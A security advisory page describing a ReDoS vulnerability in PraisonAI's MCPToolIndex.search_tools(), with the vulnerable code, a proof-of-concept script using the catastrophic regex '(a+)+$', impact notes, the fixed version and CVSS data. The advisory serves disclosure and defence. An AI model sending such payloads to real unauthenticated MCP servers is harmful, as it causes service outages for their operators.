Medium

PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()

  • Disclosed: 01.04.2026
  • Updated: 11.10.2026 14:18

Summary

MCPToolIndex.search_tools() compiles a caller-supplied string directly as a Python regular expression with no validation, sanitization, or timeout. A crafted regex causes catastrophic backtracking in the re engine, blocking the Python thread for hundreds of seconds and causing a complete service outage.

Details

tool_index.py:365 (source) -> tool_index.py:368 (sink)

python
# source -- query taken directly from caller, no validation
def search_tools(self, query: str) -> List[ToolInfo]:
    import re

# sink -- compiled and applied with no timeout or exception handling
    pattern = re.compile(query, re.IGNORECASE)
    for tool in self.get_all_tools():
        if pattern.search(tool.name) or pattern.search(tool.hint):
            matches.append(tool)

PoC

python
# tested on: praisonai==1.5.87 (source install)
# install: pip install -e src/praisonai
import sys, time, json
sys.path.insert(0, 'src/praisonai')
from pathlib import Path

mcp_dir = Path.home() / '.praison' / 'mcp' / 'servers' / 'test_server'
mcp_dir.mkdir(parents=True, exist_ok=True)
(mcp_dir / '_index.json').write_text(json.dumps([
    {"name": "a" * 30 + "!", "hint": "a" * 30 + "!", "server": "test_server"}
]))
(mcp_dir / '_status.json').write_text(json.dumps({
    "server": "test_server", "available": True, "auth_required": False,
    "last_sync": time.time(), "tool_count": 1, "error": None
}))

from praisonai.mcp_server.tool_index import MCPToolIndex
index = MCPToolIndex()

start = time.monotonic()
results = index.search_tools("(a+)+$")
print(f"Returned in {time.monotonic() - start:.1f}s")
# expected output: Returned in 376.0s

Impact

A single crafted query blocks the Python thread for hundreds of seconds, causing a complete service outage for the duration. The MCP server HTTP transport runs without an API key by default, making this reachable by any attacker on the network. Repeated requests sustain the DoS indefinitely.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.5.90 4.5.90

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-1333
Platform
Python (PyPI)
Package
praisonai
Disclosed
01.04.2026
Updated
11.10.2026 14:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2907 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-8w9j-hc3g-3g7f - CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools() this entry
    Medium · 6.5 CVE-2026-34939 < 4.5.90 4.5.90
  2. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
Show more (20) Showing 21 of 88

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